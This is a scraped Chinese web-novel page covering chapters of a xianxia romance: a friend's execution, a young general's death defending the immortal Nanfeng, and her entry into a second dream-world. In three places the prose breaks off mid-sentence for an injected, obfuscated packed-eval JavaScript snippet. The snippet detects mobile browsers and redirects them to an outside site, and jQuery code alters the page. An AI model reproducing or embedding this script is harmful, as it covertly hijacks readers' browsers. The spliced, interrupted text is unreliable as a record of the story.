“那日我匆忙赶回营,正为此事。东凉巫蛊师潜入营中,蛊惑人心,逼人生咽毒蝎,活生生折磨致死。虽说安桥及时发现,制止了事态扩展,但……”他轻叹一息,“我万万没想到,背信弃义之人,竟是自己十多年的友人。” 贺祈源深知大哥的性子,也心知背叛之人罪不可恕。 少年将军重情重义,军营上下一视同仁。初遇那日也证实了,不顾自己将军的颜面,既是百姓的要求,必然义不容辞。 我什么都说不出来,只能握住他颤抖的手,无声安慰。 他抬起头对上我的眼睛,从他的眼眸中我竟看到了看透生死的了然。 “我没关系的。” “友人判决,你又急着来寻我……怎可能没事。” 贺祈源淡淡一笑:“故事还没讲完。” 那日。 秋风卷着黄沙,呼啸着掠过军营。校场上,黑压压的士兵列队而立,鸦雀无声。高台上,大将军贺祈骁一身玄甲,面色冷峻如铁。 “带上来。” 随着一声令下,两名亲兵拖着一个血肉模糊的人影走上高台。那人被重重摔在地上,发出一声闷哼。 贺祈源站在兄长身侧,垂吊的手不自觉地攥紧成拳。 那是聂篙,他的挚友,他的副将,如今却成了全军公审的叛徒。 “认贼作父,罪不容诛,纵是皇亲国戚也照斩不误!今日杖杀聂篙,以儆效尤!” 贺祈骁说罢,目光落向身旁面如死灰的贺祈源。 人出自三将军营中,自然要他亲自动手。 贺祈源沉默不语,挣扎苦恼许久,手中棍棒砸落地面。 “大哥……恕我无能,另寻他人动手吧……我做不到。” 贺祈骁厉声呵斥:“这都做不到,如何上阵杀敌!若是敌人装出副可怜兮兮的样子,你也要心软吗!” “我……” 他想说那不一样。 可有哪里不一样? 贺祈源僵硬地走下高台,接过亲兵递来的刑杖。那根乌黑的木棍在他手中仿佛有千斤重。聂篙被按在刑凳上,他艰难地抬头,嘴角竟扯出一丝笑意。 年轻的将军望向地上的友人,对方满脸血污,却对他轻轻摇头,眼中是熟悉的安抚。 “祈源……是我背叛了你……是我……” 聂篙的声音微弱得只有近处的人能听见。 “那不是普通的毒蝎,是可以治疗东凉巫蛊之毒的解药……那些人中了毒,我才想了这办法……是我愚笨,轻信了东凉……” 贺祈源的手臂颤抖得几乎握不住刑杖。身后,贺祈骁的视线如芒在背。 “祈源,动手。” 刑杖被高高举起,却迟迟无法落下。 聂篙的眼神平静如水,早料到今日的局面。可就在这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16056829|179140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 死寂的一刻,他突然用尽全力大喊: “赵国没有未来!皇帝昏无能,我们用血肉守卫的山河,他执笔一挥就能拱手让人!若没有贺家军,东凉人早就攻下京都,夺去天下!可我们费时费力换来了什么!是十年如一日,连家都不能回!!” “聂篙!!” 全场哗然。贺祈源震惊地瞪大眼睛,还未反应过来,一道黑影已从他身旁掠过。贺祈骁拔刀出鞘,寒光一闪—— “噗嗤!” 刀刃划出寒光,血溅三尺。 聂篙的胸口被长刀贯穿,身体剧烈抽搐了一下,眼中的光芒迅速黯淡。 “动摇军心,死不足惜!”贺祈骁冷声道,猛地抽出长刀。 聂篙倒在血泊中,嘴唇蠕动着。 “祈源……” 垂死之人的气息微弱如游丝,染血的手缓缓抬起,似乎想抓住什么。 身旁是大哥,地上是友人;一面是大将军,一面是背叛者。 可是…… 贺祈源倏地单膝跪地,眼眶发热,不顾周围数千双眼睛的注视,一把抓住那只冰冷的手。 “我不想被葬在边关……我想回家……求你……娘亲……在等我……” “我答应你!我带你回家!我带你们回家……” 他声音哽咽,却不允许自己掉眼泪。 身旁的大将军厉喝道:“祈源,松开他。” 贺祈源只更紧地握住聂篙的手。 “他已经死了。” “你怀中的是叛徒。” “他已经死了……他已经死了……” 拳风呼啸,贺祈源的头猛地偏向一侧,喉结滚动咽下呻吟,身体俨然不动。鲜血从鼻孔流出,染红干裂的唇瓣也绝不松手。 贺祈骁怒不可遏:“方劼和李昰呢?!” 军阵中走出两人,小名为“鲍渔”和“单贝”的两人,常年跟在贺祈源身边。 “把三将军拖走。” “是……” 贺祈源怔愣不动,方劼叹了口气,和李昰一左一右架起他的胳膊,强行拉开。 他被半拖半拽着离开校场,回头望去,贺祈骁正站在高台上,冷眼注视着士兵们处理聂篙的尸首。 谁对谁错,好像已经不需要去追究了…… 贺祈源叹了口气,语气平淡道:“大哥心里是明白的,否则也不会在聂篙开口的瞬间,就失了理智。” 我静默地望着他,等他继续。 他仰首望向远处:“东凉势力逐日壮大,新上任的大将军骁勇善战,比拓跋枭还胜几筹。我尚可与他匹敌,可若我一死,军中无人是他的对手。大哥驻守边疆多年,遍体鳞伤。二哥虽智谋过人,却更适合运筹帷幄。” 他叹了口气。 “所有人都清楚,都明白——‘家国兴亡自有时,吴人何苦怨西施。’” 真正的危机,从来不在外敌。东凉,不过是盛世倾颓的引子之一。 我迟疑道:“那和亲呢?历朝历代皆有以姻亲止戈的先例,赵国皇帝难道不曾考虑?” “清漪公主吗?”贺祈源苦笑,“以她的性子,怕是会被退婚吧。” ……的确。 因聂篙体内藏有蛊虫,死后尸体需立刻焚烧。我感知到不安的那天,恰好是焚烧的日子。 “祈源。” 操练场中央,贺祈源盘膝而坐。抬眼瞥见来人,又垂下眸子。 “安桥啊,找我何事?” 宁安桥站在他身边,平淡道:“无事,看看你的伤势如何。” “无事。” 贺祈源掐了把脸颊上的肉示意,闷哼着起身猛拍了两下屁股上的灰。 “我去巡视了,晚点见。” “等等!”宁安桥叫住他,“那天你和那阿婆说的南风……是谁?” “哦,我在京都认识的一位姑娘。” “此番回京,不是为商议与清漪公主的婚事?” “未成。陛下政务繁忙,推迟了。” “如此。” 贺祈源粗略打量宁安桥的深情,“怎么了?” “没,只是响起一位故人,她的名字里,也有一个风。” 思绪回到眼前,又是一记钟声。 贺祈源忽然伸手扣住我的五指,低头看我。 “此战必胜。届时,南风与我一同回京。” 灼灼目光望来,夺走我心下所有注意。 “我灰正式向陛下提出解除与清漪公主的婚约。” “你——来真的啊……” 117. 孤眠清熟 可我们终究没能等到贺祈源期盼的那一天。 天意早定,缘尽此生。这天地万物都心知肚明,唯独困在这场梦里的我和他,执迷不悟。 我竟未能察觉这不过是一场幻梦,只能眼睁睁看着结局在眼前落幕,如同看着最后一瓣梅花坠入寒潭,再也寻不回。 刚出环州城,我们便遭伏击。敌众我寡,贺祈源当机立断,揽着我策马突围。 “抓紧我!” 马蹄踏起烟尘,辽阔的旷野避无可避,唯有奔走。 一支冷箭破空而来,正中马腿。骏马嘶鸣着栽倒,我们双双坠地。千钧一发之际,贺祈源旋身将我护在怀中,自己重重摔在砂石之上。 追兵渐近,他解下腰间匕首塞进我手里。 “若我不在,就让此刃护你周全。” “你要做什么?!” 话音未落,他已纵身跃起。身形如燕掠起,凌空三脚踢向对方胸口,一记回旋踢又将一人踹飞数丈!手起刀落,最近的追兵簌簌倒地。 “快跑!” 贺祈源回身拽起我的手,带我继续狂奔。 猎马逼近,可人的双腿怎敌得过战马?转眼间我们又被团团围住。 贺祈源始终抬臂护着我,时刻紧盯敌方的动静。 要用仙术吗?可仙界规定凡间不可使用任何法术。 生死存亡关头谁还管那些! 我抓上臂弯,没料抓了一手空。 嗯?我的羽带呢? 懵然间,猝然的一支箭从我眼前擦过,霎时让我头脑一片空白。好在贺祈源眼疾手快,将我一把推开,完美躲过。 “南风!待会我杀开血路,你只管往东跑。一路跑,就能看到军营,然后将情况告知安桥。” 说罢,他宛若游龙般腾身而起,刀锋所过之处,血花飞溅。我看得心惊胆战,生怕错过他任何一个动作。 红色的发带随着少年的动作浮起坠落,金戈交击声不断,叫人忘了喘息。 突然,锋剑划出一道寒芒,贺祈源急忙横刀格挡,却见剑尖陡然变向,直取方寸! “祈源————!!!” 刀刃入肉三寸,鲜红在眼前划出一道弧线。我听见骨骼碎裂声,血腥气盈满鼻腔,浑身发冷。 贺祈源闷哼一声,反手一刀了结了敌人,这才踉跄着单膝跪地。 我慌忙扑上去接住软摊的身躯,血黏腻的触感浸染我按压在他胸膛的掌心。 “你是傻子吗!干嘛拿肉身挡箭啊!你不知道人被杀会死吗!” 他轻笑出声。 “我说过……得保护你……若没挡下,受伤的,不就是你吗……” 他猛地啐出一口血沫,鲜血染红了苍白的唇。 我颤抖着用指尖抚上他的脸,感受指腹下的温度如冰霜凝结,绝望如潮水涌来。 为何要把羽带留在阿婆家?为何没了羽带我什么也做不到?我哪算哪门子的仙,比凡人还不如的废物! 我不断扪心质问自己,掌下的伤口不断涌出鲜血。怀中意气风发的少年将军,此刻就像块失去光泽的灵石,黯淡无光。 原来,他也会哭。 直到看到他眼角留下眼泪的此刻,我才忽而惊觉,他不过是个十九岁的孩子啊…… 三千年的仙,被十九岁的凡人以命相护…… 到底要自愧到何等地步……我如何偿还得起? “没想到,你当真是九天来的仙女啊……” 贺祈源将我的手拉到他胸口的位置,拇指在我的手背上轻轻摩挲着,似是不舍,想在最后的时刻永远记住我的触感。 “此生最遗憾的,便是没能触碰你……只表白了心意,只说我娶你,还没问过你……若有来生,我想娶你为妻……好不好?” 我哽咽着连连点头。 他扯着嘴角,露出一抹难看的笑。 “此生你心里没我,我知道……若有来生,我想早点遇到你,抢在那人之前,与你相恋……可你似乎,不会轮回……” 说话之人的声音渐弱,呼吸渐歇,仿佛在下个瞬间便会彻底消散。 我摇晃着他的身躯,哭喊着叫醒他。 “祈源?贺祈源!你别睡啊……醒过来啊……看我啊……你不是想跟我成亲,想摸摸我吗!你摸啊……你睁开眼看着我啊……” 怀中靠着我的重量稍稍一沉,我艰难呜咽着垂下头,贺祈源的脑袋无力地靠上我,再无动静。 我再也听不见沙场的风声,孤魂游荡,所有亡灵皆停下脚步聆听我的哭声。 “仙子节哀。” 黑无常站在我身后,后面远处跟来一身白。 我抬起婆娑的眼望向黑无常:“我要救他。告诉我办法。” “天命难违。” “有!一定有!”我重重叩首,额头抵在染血的泥土上,“你告诉我……求你了……” 不知道该说些什么,黑无常索性蹲下身,黝黑的手指擦去我脸上泪。 熟悉的动作,却是不同色彩的人。 黑无常侧目垂眸看了眼贺祈源,语气淡漠地说道:“人各有各的命数,他的命,止步于此。若是逆天改命,注定的结局依旧不会变。” 我不想听他说些无关紧要的话,只想知道有没有救他的办法。 我打开黑无常的手,打横抱起贺祈源,离开这里。 “你去哪儿?” “去找能救他的人。” “大仙不会应允的。” “我知道。”我吞咽下喉中的血腥,“我去找砚清。” “大仙也交代过,不许柳仙人帮你。” 我猛然顿住,不可置信地回首。 “爹爹已经知晓此事?” 黑无常微微颔首。 唇齿微张,我欲言又止,最终将目光投向方才跟在黑无常身后的白影。 “那你来做什么?就为了告诉我实情吗?砚清……” 柳砚清低垂着眼帘,轻声道:“嗯。” 我仰头冷笑。 果然,还是我修为尚浅。他们早知今日之事,潜伏在暗处等我戏剧落幕。 就我。像个白痴。 “我不为难你,也没理由逼着求你,我自己想办法。” 我抱紧贺祈源径直越过他身侧。 “南风……” 他伸手欲拦,我猛地驻足。 “什么狗屁起死回生?!这不能救,那不能救的!” 喉间的刺痛几乎将我撕裂。我努力抑制喉咙里的哽咽,深呼吸,完全避开柳砚清近乎可怜的眼神。 “你不要再出现了,我暂时不想再见到你。” 我抱着贺祈 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黑无常反倒直接插进我的发间,玩味道:“还是拿着吧,小心没走出旷野,人没了。” “……” 当夜,我悄悄将贺祈源送回贺府。府中恸哭声彻夜不绝。 后来,贺家人把贺祈源葬在关外的花海中。据说是他生前特意选的安葬处,如此,春来之时,漫山遍野的花儿都在风中轻轻摇曳,与他一同等待一个永远等不到的人。 裙摆在风中逐渐残破,直到它彻底碎烂在风中,的我也终于抵达了旷野的尽头,江河悬崖边上。 接下来该怎么做? 西洲孤岛如远隔千里之外,溃烂的双腿几乎荒废,只能迈出一步,我该如何抵达对岸? 江河下面是地府,他应该去了那里。是不是只要跳下去,就能抵达地府,寻到他,带他回来? 就在这时,江雾忽散。在心中反复描摹的眉眼清晰地闯入视线。 江对岸有人,那人……是柳砚清?! 白梅树下,仙人的身影若隐若现,宛如轻云蔽月;飘摇似流风吹卷雪花。他在隔岸,我在旷野,却沐浴在同一阵来自西洲孤岛的梅香风中。 原本害怕的心在一刻间得到前所未有的平静。 “仙……那才是仙人的样子,而我……” 我闭上眼,挤出眼眶中堆积已久之物。 残破的身躯,扭曲的魂魄,丑陋的模样。活了三千年的南风仙子,苟活一生,到最后,便是把自己折磨成这副样子。 “神仙也会堕入轮回吧……让我做朵朝生暮死的野花吧……会生老病死的凡人,没有关押我一生的蓬莱第几宫,没有求死不能的无助,没有……没有不敢爱人的懦弱……” 溃不成声,消弭于天地。 纵身跳入江河时,眼睛片刻不离盯着那抹白色,就在即将没入冰冷的江水时,我清晰地看见那抹白色朝我飞来。 “砚清……” 伸出的手只抓住满掌寒凉江水。 至此,我与贺祈源的第一重梦境结束。 “万籁生山,一星在水,鹤梦疑重续。” 118. 复循覆车 睁开眼的瞬间,喧嚣声浪扑面而来。我茫然立于闹市中央,四周商贩吆喝声与远处丝竹乐声交织成网。 忽地,一抹白影刺破嘈杂闯入视野。 “砚清?” 那个名字几乎脱口而出—— 不对!是匹白马! 马上之人非但不减速,反而扬鞭直催,马蹄声如雷直奔我而来! 我踉跄跌坐路边,碎石硌得掌心生疼。 好险!那鬃毛几乎擦着我鼻尖冲过。抬眼望去,白马正停在酒楼前,马上之人锦衣华服,好不威风。 我拍着尘土跳起来,“你瞎啦!赶着投胎也没你这么快啊!” 那人闻声回头,热趾高气扬地睨着我,眸中尽是轻蔑之色。 “小叫花子要钱的?” 我要你—— “咳咳。方才你差点撞了我,请你道歉。” “道歉?”他突然摇头大笑,“这真是我江御白此生听过最可笑的话了。” 银光破空而来,我偏头躲过,那锭银子“咣当”砸在身后墙上。好家伙,再多半寸就能在我俏丽的脸上开道口子。 “拿了钱快走吧。” 欺人太甚! 我箭步上前攥住他的华服,借力一拽!无知小儿结结实实摔了个狗吃屎,引得大街上的路人捧腹大笑。 “没人教过你与人说话平视是基本礼貌吗?蠢货。” “你!你居然骂我!” “骂你怎么了?老娘还要揍你呢!” 说罢,我举起拳头作势要揍他,他吓得赶忙捂住头。我轻蔑一笑,收回手。 “没本事就谦虚点,小心出门被泼粪!” “你!你诅咒我!” 江御白气得声音都抖了。手又不敢指着我,怕我一出手,他来不及拼命护住脸。 我转身摆摆手,头也不回地丢下一句: “教训不懂事的小辈而已,不客气。” 想不起我来京都干嘛来了,不过皇城所在,城中街巷尽是新鲜玩意儿,我打算先虚度几日光阴,待记起自己干嘛来的,再去考虑下一步。 我喜欢听书,茶楼酒肆家家的说书人各有千秋,我能一听就是整一天。 这日,说书人正讲起大将军贺祈骁驻守边疆和娶妻纳妾一事,隔壁桌说得比台上火热,我听得那叫一个入神。 忽地,门口晃进一道白影。掌柜的忙不迭迎上去,屁颠屁颠地招呼恭维。 想必是什么权贵,我也没在意。 谁知那白影逐渐向我靠近,直接在我身旁的空位落座。 “姑娘让本大人好找啊。” 这声音……我扭头一看,可不正是三日前街上那个差点挨揍的江御白? 他招呼茶博士上了壶新茶,主动分给我一盏。 但江御白看来这不叫分享!叫施舍! “姑娘喝的什么茶?劣等绿茶?喝这壶吧,方山露芽,朝中贡茶,寻常人喝不到的。” 我翻了个白眼,继续啜我的劣等绿茶。 “本大人乃江家之主,江御白。姑娘叫什么?” 我横他一眼,懒得搭理。 “我在问你名字呢。” “你问我就得说吗?还有你那什么态度,是问话的态度吗?” 他没好气地瘪了瘪嘴,迅速恢复仪容,竟露出个堪称温柔的笑,道: “我心悦你!” 手中的茶盏顿住,我惊愕地看向江御白。他沉了沉气,喉结滚动。 “那日多有冒犯,本大——我特来向姑娘赔罪。” 我盯着他看了半晌。这人莫不是疯了?还是朝廷贡茶里面有毒? “姑娘可否告知芳名?” 要告诉吗?可眼下我更好奇这个人到底抽什么风?当街挨骂还能生出爱慕?? “为……魏风。” 他眼睛一亮,欣喜拱手道:“多谢姑娘!” 茶楼一别后,我总能在各种地方巧遇江御白。巧合得离谱,让我不禁怀疑是他刻意跟踪我。 唉,魅力太大,果然是种烦恼啊。我对着河面倒影捋了捋鬓发,叹道:“南风啊南风,你已经修炼成了不需要动手,男人就主动贴上来的仙术吗?” 自我肯定完,鸡皮疙瘩掉了满地,差点恶心干呕出前夜的晚膳。 但他真的好烦啊!能不能别跟着了! 我加快脚步,试图摔倒一里外暗中跟踪了我几天的人。 那些人应该是江御白派来的,时刻盯着我的动向,好让江御白与我上演一出偶遇。 我左拐右拐,也不晓得拐去了什么贼窝子,一脚跨进去,四五个壮汉正磨刀,唰地一下全部抬头看我。 刀刃落下时,我转身要跑,跟来的江御白二话不说冲上来挡在我身前。这个缺心眼的,居然徒手去接劈来的大刀! “你傻了吗!空手接白刃吗!” 他喘着粗气,血从虎口滴落,而对手只是冷冷擦拭刀锋,缓步逼近。 “魏姑娘快走!我来拦住他!” 他挡在我前面,声音都在发抖。 好嘞!我拔腿就跑。 是他要我跑的…… 但,好心的我还是拉上他一起跑了。 “打又打不过,何必逞能?” 跑远后,我拉着他坐在深巷里的木箱子上,用羽带替他包扎伤口。江御白闷哼一声,却还强撑着笑。 “江某惹姑娘不开心,一心想着赔罪,没顾虑太多。” 改自称了?长进不小啊。 他忽然仰起脸,苍白的唇扯出个虚浮的笑:“魏姑娘……肯原谅我吗?” 这神情莫名熟悉。 仿佛何年何月何日,某个仙人也问过我同样的问题。他……大概也曾为了获取我的原谅努力过吧,在我毫不知情的时候。 突然好想见他。 “魏姑娘?” 江御白的声音将我拉回现实。 我不回答只是笑,慢条斯理地将江御白扶了起来,方才羽带已经默默治好了他身上的伤。 “以后量力而行吧,大人不是铁打的身子,安心靠脑子吃饭过活吧。” 我起身正要离开,手忽然被他抓住,我微微一愣,回头懵然地看着他。 “再陪我说说话吧,好久没有……和人这么舒心的交谈了。” “曾经贪生怕死,可真当求死不能,又带着折磨人的回忆苟活下去……倒不如死了轻松。我猜,凡人和神仙和最大的区别就在于此吧。神仙之所以成仙,因为耐得住寂寞,看得惯生死。但凡人不能,所以祈求长生,祈求来世。” “他拒绝了我的成亲请求,不就拒绝了我的情义,否定了我们之间所有的感情吗。既如此,我何必再见他。老死不相往来,不正正好?” 察觉到我的话有些沉重,我朝江御白笑了笑。 “不必在意,当我自言自语说了些无聊的话。” 可他面上的心疼依旧不减,甚至,陷入无缘由的自责。 我不由用脚尖踢了踢他的屁股,问道:“怎么这副表情?” “我在想……你要是不介意的话,我可以——” 我抬手打住他的话,扬起一抹笑。 “我不是想成亲,或者有一个安稳的去处。只是他……而已。” 只因为是他柳砚清,仅此而已。 “所以,你不可以。若真是可怜我,就把想说的话咽回去。” 脑袋里一瞬间乱乱的。 又想起了医鹿山梅林,与柳砚清发下毒誓至死不见时的场景。 唉,戾气行事可不是好毛病啊。 告别江御白,我愣怔地走在大街上,余光瞥见一位姑娘径直走来停在我面前。 “贱人。” “啊?” 我还没来得及开口,一记耳光落在我脸上,力道之大,直接将我掀翻在地。 我捂着脸懵懵地坐起来,茫然地看着眼前目眦尽裂的姑娘。 “姑娘……认识我?可我并不认识姑娘你啊……” “你这勾引人的狐狸精!妖女!” “啊?” 她对着我说的,是在骂我吧? 此时,从街角寻来的江御白见状,疾步如飞冲上来扶我起身,忙关心道:“你没事吧?” 而后倏地,目光如刀剜过面前一脸惊愕的姑娘。 “韩婻!你疯了不成!” 江御白一把推开眼前名为韩婻的姑娘。 韩婻脚步不稳地后退了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16056831|179140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几步,眼中的光影被堆积的泪水模糊,难以置信地盯着江御白。。 “有没有哪里伤着?” 江御白握紧我的手,满脸关切。 可我的目光总不自觉看向韩婻。 她看着江御白与我交握的手,嘴角垮塌,却扬起下巴轻笑。 “什么狗屁海誓山盟,大人这是要同别人实现吗?” 愤怒的女人脸上瞬间挂满不合适的泪,我慌忙挣脱他的手,掏出绣帕递去:“韩姑娘你没事吧?” “滚开!”她打开我的手。 “事情不是你想的那样,我和江——” “别跟我说话!” 又一耳光扇在我脸上,耳朵嗡鸣半晌才恢复。 “你懂什么?不懂就给老娘把嘴闭上!” 路边看戏的人抱着双臂冷哼道:“飞扬跋扈惯了的人,怎么可能听得进别人的话。” 又一人道:“这姑娘也是,都被打了还不知道还手。” 还手?她定有自己的理由,眼前的姑娘不像有疯病,定不会无缘无故打我,她定有不得已的苦衷……否则,怎会露出这般神情。 况且,内心深处有个声音反复告诫自己,此人并非恶人。 “韩姑娘,你听我解释啊……” “滚!有多远滚多远!”她猛地又将我粗暴地推开,“你他妈聋了吗!走开,恶心的女人!!!” 她脚步虚浮地消失在街角尽头。 我弯腰拾起沾尘的绣帕,江御白想要上前扶我,我却退后一步躲开。 “江大人是不是欠我一个解释?” 他神色复杂,低声道:“是我处理不当。韩婻……是老夫人擅自定下的婚事,她是我未过门的妻子。” 日光炽盛,比起我们的闹剧,大街上的人们似乎更急着赶去什么更热闹之地。 “那边好热闹,在做什么?”我眯起眼,望向远处攒动的人头。 江御白说:“贺家三将军回京,满城的人都赶着去给将军接风洗尘。” “三将军?” 像是被什么拉扯一般,太阳穴撕扯得疼,疼到快要炸裂。 我揉着脑袋,疼痛的间隙脑海里闪过诸多熟悉却陌生的画面。花海雨夜,策马遨游……这些是什么?何年何地发生的? “三将军他……叫什么名字?” “贺祈源。” 那些消失的过往,分明像是被谁抹去,残片在脑海中时常突兀且特别。无论我如何用力地去想,依然模糊不清。 但此刻,潮水般的记忆涌来,我想起了过去,记起了那位英姿飒爽的少年将军。 “我想起来了,我全都想起了……可是,他为何,会活着?” 稍晚些时,天空下起了雨。我潜伏在贺府门口,时刻盯着那扇大门,期待一个人影出现。 一个打盹的间隙,没见到人影,倒看着一辆马车驶离贺府门前。 直觉告知我一定要追上去。 我索性收起伞,摇身一隐跟上马车。 小桥流水,杏花微雨,我从一棵柳树背后现身,望见身姿挺拔的少年执一柄青竹伞走过石阶。 “那么好的闲情逸致?” 学着江御白近些日子刻意上演的偶遇,我也打算来一出。 伞延压低,我款步从他对面走向他,纸伞即将触碰的瞬间,抬伞抬眸。 四目相对,似是前世之人,重启良缘。 “……姐姐?” 我惊愕回首,看向少年英气的脸。 少年将军的眉目在雨气中格外清晰,眸中却盛着陌生的澄澈。 “你还记得我?” 贺祈源稍稍将伞往后靠,露出整张脸说道:“姑娘该是被我年长,唤一句姐姐应该的。” “仅此而已?” “嗯!” 他不像在说谎。 贺祈源把我忘了。 “公子为何雨天来此漫步?” 他笑道:“清风舒朗,可解烦心事。而是——”他抿唇顿了顿,修红着脸看向我,“冥冥之中,感知到我今日应该来此。” 我是因为起死回生之术忘记了他,那他呢?本该长眠地下的少年,又是为何—— 难道他也……? 119. 月华霜重 再去找贺祈源之前,还有一人无论如何也放心不下。 我一路打听,在路人厌恶的表情中问到了韩婻家的位置。 虽然不知道他们为何嫌弃韩婻,但我知道,她内里是个比任何人都温柔重感情之人。 模糊的记忆中,她带我吃茶看戏,待我极好。不过那时我并不唤她韩姑娘,而是江夫人。 如若是将来,此番必定要去跟韩婻解释清楚,万不可断了人家的姻缘。 “韩姑娘。” 韩府后院,侍女引我去见她。鹰隼般锐利的目光乍一打量我,冷哼着别开脸。 我微翘嘴角,压下苦涩说道:“我要走了,但,放心不下你,特地来向你道别。另外,无论如何也希望你原谅我。” “惺惺作态!你们勾缠男子的手段,向来这般令人作呕么?” 我在她身旁的石凳上坐下,她并未赶我走,我也就安然坐稳。 “是啊,恶心人……所以当良人出现,被拒之门外,也是理所当然。” 我自嘲似的接下她的话,继续道:“我和江大人什么也没发生,请你信我。虽然旁人皆说我风流成性,可我也想学万千痴男怨女那般,择一良人携手白头。此生匆忙,我想去报答前世未完的心愿。” 韩婻一脸茫然:“你在说什么呢?” 是啊,我在说什么呢,事到如今,说这些没用的话。 我沉沉叹了口气,起身颔首向她致谢:“韩姑娘能听我讲完,万分感谢。这些话,也只敢对你说了。” 她盯着我,脸上的神情慢慢松懈。 我从怀中掏出素白绣帕递给她。 “对了,这张绣帕赠予姑娘。若你不嫌弃,可绣些花草上去。” “我不会绣花。” “你会的,我知道。” 我看向她衣袖上精细的芍药花,又说道:“就芍药吧,此花与韩姑娘极为相配。与江御白也是。” 韩婻唇角微弯,好似被我逗笑。 “你到底是何人?” “我也不知道。活得像在做梦,浑浑噩噩的。” 话音落下,我看向视线黏着在某处的韩婻。淡然的眼神在与我的视线交汇的瞬间,浮起微弱的光芒。 我扬眉浅笑道:“韩姑娘方才的神情,似乎在可怜我。” 韩婻移开视线,整了整发丝。 “叨扰了韩姑娘,告辞。” “等等!” 她突然唤住我,眼底清凌凌映着悲色,唇瓣几番开合,终只低声道:“下次再见,我也送一方绣帕与你,礼尚往来。” 我皱眉莞尔:“下次……我不知还有没有下次。不过我记住了,多谢韩姑娘。” “有的。我们一定会再见,所以你一定活下去。” 她眼中似有若无地流露出渴盼。 唇瓣颤抖,我仓皇侧首掩住骤然酸胀的眼眶,哑声答:“……好。” 今日无雨,天朗气清。 我坐在那日擦肩而过的石桥边沿,双腿悬空轻晃,鞋尖偶尔点过水面上,百无聊赖。 “姑娘?” 坐了约莫半个时辰,身后响起半熟悉的声音。我循声望去,正对上贺祈源明亮的笑眼。他三步并作两步跑到我身旁,衣袂带起一阵清爽的风。 “好巧,又在这儿遇到你。” 我站起身,故作好奇问道:“这位小公子,我们见过吗?” 他急急道:“前些日子,也是雨天,我在桥上与姑娘四目相对、擦肩而过过。” 竟然不学寻常搭讪的人那般编些拙劣的借口。好实诚的孩子。 “仅匆匆一眼,你就记住了?” “说来惭愧,那天以后我每天都盼着能再见到姑娘,和姑娘说说话。” 我配合着他的话道:“好巧,我也是。” “想和姑娘认识认识,结为……挚友。” “好巧,我也是。” “不对!不是挚友!是……别的。” “嗯,我也是。” 羞涩的少年挠了挠鼻尖望向远处浮云,声音轻得几乎散在风里。 “总有种,你是我前世未完之缘。冥冥之中一股力量催促我去找到姐姐。”他目光灼灼低头盯着我,“一见如故……便是如此吧。” 丢失了前世的记忆,却仍能为了同一个人悦动出同样的情愫。 真情换来真心,我的这颗心,可愿为了眼前人付诸真情呢? “见到我,找到我,你想做什么?” “可以……说吗?” 我颔首。 他忽然挺直脊背,像宣誓般郑重:“姐姐相信我!我为人很正直的!” 我的嘴角忍不住弯了起来,眨眼道:“我知道。” 你比任何人都重情重义、襟怀坦白、表里如一,是我无法割舍、愧疚一生的心结。 又或是,情劫。 贺祈源踌躇着支支吾吾。 “我想……我想……” 高挺的少年单膝跪地,牵起我的手。唯有这个角度,我看到了他用于束发缠绕的红绳。 “我想娶姑娘为妻。只一眼,我心已许。” 微风吹拂起我轻盈淡蓝的裙摆,一如我此刻如云上轻浮的心。 我也学他蹲下身,对上他的眼睛,伸手揉捏少年涨红的脸颊。 “我答应过你的,所以……我愿意。” 我无法拒绝贺祈源,无法对他视而不见。 凡人寿命何其短暂,三千年光阴够他们轮回五六回。伴他一生,不过白驹过隙,一瞬而已。 和前世一样,贺府再次收留了无家可归的我。这夜,我乘着所有人睡下,悄悄来到贺祈源的房间。 实在想不通他到底如何复生的?关于前世他是否记得?胸口为我挡下的伤在不在…… 屋内灯火未熄。 少年还在伏案作画,我敲了敲门框引起他的注意。 “南风姐姐!怎么还没睡?” “来看看你。” 他穿着素白单衣,衣领微敞,露出半截锁骨,搁下笔招呼我到他身边。 “上次说的仙人对弈图,我画好啦!” 宣纸上,翠竹潇潇,两位仙人对坐弈棋。其中一位执子的手悬在半空,似在等待一个永远不会落下的回应。 他感慨:“说来奇怪,画完这位仙人的相貌后,竟觉得分外熟悉。细想之下,竟与我梦中常现的那位仙人一模一样。” “梦中的仙人?” “重伤濒死时,有位仙人守在我身边。他教我剑法,陪我疗伤……可回贺府后,那段记忆就像被抹去似的。直到最近,梦里才渐渐想起些片段。” “……” 我陷入沉默,极力理清思绪,可越想脑袋越是空空。 他看出我的顾虑,稍稍敞开胸口,将一道触目惊心的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他沉声道:“看着我的眼睛。我是你的夫君。信州时,你我成亲。后来,有了星辰和赤竹。” “星辰?赤竹?那是谁?” “我们的孩子。” “我们的?!” 我惊得睁大了眼睛。 砚清拉起我的手,走入如瀑暴雨中。雨点打在身上没有触感,甚至浸不湿衣裳。 “这里是你的梦境。无论如何,都必须走完。” “所以这婚……非结不可吗?” “非结不可。” 